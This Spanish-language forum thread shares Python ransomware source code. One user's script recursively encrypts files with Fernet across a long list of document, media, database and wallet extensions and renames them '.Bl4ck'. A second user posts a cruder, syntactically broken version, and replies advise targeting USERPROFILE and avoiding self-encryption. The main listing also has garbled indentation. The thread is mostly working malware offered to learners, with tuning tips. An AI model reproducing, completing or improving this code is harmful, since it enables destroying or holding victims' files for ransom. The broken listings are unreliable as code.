Buenas, os comparto el código fuente de un ransomware que hice en python hace ya un tiempo, por si a alguien que esté aprendiendo este lenguaje le pueda interesar. Puede que algunas variables se declaren pero luego no se usen, como dije, lo hice hace tiempo.
Un saludo

Código: Seleccionar todo

import subprocess
from cryptography.fernet
import Fernet
import ntpath
import os
from sys
import argv
import shutil
import sys
class Ransomware:
    def __init__(self, path): #Constructor de la clase
        self.path = path
        self.filePath = str(argv[0])
        self.delta = ''
        self.fernet_key = ''
        self.decryption_key = ''

        def generateFernetKey(self, control): #Generamos la key
            key = Fernet.generate_key()
            if (control == 0):
                with open(self.path + 'Key.key', 'wb') as keyFile:
                    keyFile.write(key)
                    keyFile.close()
            return open(self.path + 'Key.key', 'rb').read()
 
        def digest_bytes(self, file_data): #Ciframos los bytes
            return self.fernet_key.encrypt(file_data)

        def barf_bytes(self, file_data):
            return self.fernet_key.decrypt(file_data) #Desciframos los bytes

        def main_function(self, delta, control_variable, file_size): #Funcion principal para cifrar los archivos de la ruta dada recursivamente
            try:
                self.fernet_key = Fernet(delta)
                for root, directory, files_list in os.walk(self.path):
                    if 'appdata' not in root.lower():
                        for files in files_list:
                            try:
                                file_path = os.path.join(root, files)
                                extension = str(os.path.splitext(file_path)[1]).lower()
                                if self.protect_file(file_path) and self.extension_validation(extension, control_variable) and self.maximun_size(file_path,                                          file_size):
                                    if control_variable == 0:
                                        self.generate_protection(file_path, self.digest_bytes(self.get_file_bytes(file_path)), control_variable) 
                                    else:
                                        self.generate_protection(file_path, self.barf_bytes(self.get_file_bytes(file_path)), control_variable)
                            except:
                                pass
           except:
               pass

    def protect_file(self, file_name):
        if os.path.basename(argv[0]) not in file_name and 'Key.key' not in file_name: #Proteger la key y al mismo ransomware
            return True
        else:
            return False

    def extension_validation(self, extension, control_value): #Manejador de extensiones
        if control_value == 0:
            if extension in self.valid_extension():
                return True
            else:
                return False
        else:
            if extension == '.bl4ck':
                return True
            else:
                return False

    def maximun_size(self, file_name, size):
        if os.path.getsize(file_name) / 1000000 < size:
            return True
        else:
            return False

    def get_file_bytes(self, file_name): #Devuelve los bytes del archivo
        with open(file_name, 'rb') as file:
            file_data = file.read()
        return file_data

    def generate_protection(self, file_name, data, control_value): #Sobreescribir archivos y cambiar la extensión
        new_data = data
        with open(file_name, 'wb') as file:
            file.write(new_data)
        if control_value == 0:
            os.rename(file_name, file_name + '.Bl4ck')
        else:
            os.rename(file_name, file_name.replace('.Bl4ck', ''))

    def valid_extension(self): #Extensiones válidas
        valid_extension = ['.txt', '.aiff', 'aif', '.au', '.avi', '.bat', '.bmp', '.class', '.java', '.csv', '.cvs', '.dbf', '.dif', '.doc', '.docx', '.eps',
        '.exe', '.fm3', '.gif', '.hqx','.htm', '.html', '.jpg', '.jpeg', '.mac', '.map', '.mdb', '.mid', '.midi', '.mov', '.qt', '.mtb','.mtw', '.pdf',
        '.png','.ppt', '.pptx', '.psd', '.qxd', '.ra', '.rtf', '.sit', '.tar', '.tif','.wav', '.wk3', 'wks', '.wpd', '.wp5', '.xls', '.xlsw', '.zip', '.rar', '.7z',
        '.vbs', '.py', 'pl','.css', '.jar', '.ico', '.key', '.wallet.dat', '.SQLITE3', '.mp3', '.mp4', '.srt', '.dat', '.php', '.sql', '.c', '.usp',
        '.db','.conf','.dll', '.reg', '.ttf', '.md', '.xml', '.version', '.status', '.mar', '.odt', '.xlsx', '.json', '.conf', '.pl', '.sh', '.bak', '.pptx', '.cpp','.spec', '.pyc', '.pyw', '.dtd', '.xsd']
        return valid_extension

    def start(self, control, tamaño):
        self.main_function(self.generateFernetKey(control), control, tamaño) #Llamamos a la funcion principal con los parametros: key, control para saber si es de cifrar o descifrar y el máximo tamaño de archivo

ransomware = Ransomware('Ruta a cifrar')
control = int(input("0 para cifrar, 1 para descifrar: "))
tamaño = int(input("Maximo tamaño de archivo (MB): "))
ransomware.start(control, tamaño)
Imagen
Bl4ckV, es un muy buen código. Justamente hace poco estaba tipeando uno que vi en un canal; pero mucho más simple.
Se te agradece mucho por el aporte. 👍
Este es el code:

Código: Seleccionar todo

import os from crytografy.fernet import Fernet files = for file in os.listdir(): if file =="ramso.py": continue if os.path.isfile(file): files.append(file) print(files) key = Fernet.generate_key() with open("thekey.key", "wb" as thekey: thekey.write(key) for file in files: with open(file, "rb") as thefile: contents = thefile.read() contents_encrypted =Fernet(key).encrypt(contents) with open(file, "wb") as thefile: thefile.write(contents_encrypted) 
Imagen
Imagen
Flight embedded" escribió: 06 Oct 2022, 08:27 Bl4ckV, es un muy buen código. Justamente hace poco estaba tipeando uno que vi en un canal; pero mucho más simple.
Se te agradece mucho por el aporte. 👍
Este es el code:

Código: Seleccionar todo

import os from crytografy.fernet import Fernet files = for file in os.listdir(): if file =="ramso.py": continue if os.path.isfile(file): files.append(file) print(files) key = Fernet.generate_key() with open("thekey.key", "wb" as thekey: thekey.write(key) for file in files: with open(file, "rb") as thefile: contents = thefile.read() contents_encrypted =Fernet(key).encrypt(contents) with open(file, "wb") as thefile: thefile.write(contents_encrypted) 
 
 
 
 
Nada hombre!
Lo que podría recalcar del código es por un lado la parte de "if file == 'ramso.py' en la que sería mejor utilizar os.path.basename(argv[0]), ya que podría darse el caso de que se cambie el nombre del archivo, por lo que se cifraría a si mismo. Por otra parte en bastantes ransomwares se suele poner como ruta a crifrar en "os.listdir()" la de "os.getenv('USERPROFILE')" para ir directamente a por los documentos, imágenes, etc, ya que cifrar todo el disco sería eterno 😂 , más si hay archivos grandes.
Al final la librería Fernet simplifica muchísimo el código.
Imagen
"sería mejor utilizar os.path.basename(argv[0]), ya que podría darse el caso de que se cambie el nombre del archivo, por lo que se cifraría a si mismo".

Comparto absolutamente esa sugerencia.

Tiene mucha lógica práctica:

"os.getenv('USERPROFILE')"

El código que compartí fue hecho rápidamente en vivo con el único propósito de ejemplificar este tipo de funesto malware. 
Gracias por tus aportes, y por tus atinadas correcciones.
Imagen
Imagen
Buen codigo, hace cuanto que llevas tocando Python?
Don't go chasing waterfalls. Please stick to the rivers and the lakes that you're used to... 🐃
NeroH4ze escribió: 17 Dic 2022, 08:18 Buen codigo, hace cuanto que llevas tocando Python?
Gracias, estuve tocando Python bastante como por cinco meses, ahora ya lo tengo un poco más abandonado.
Imagen
Responder

Volver a “Python”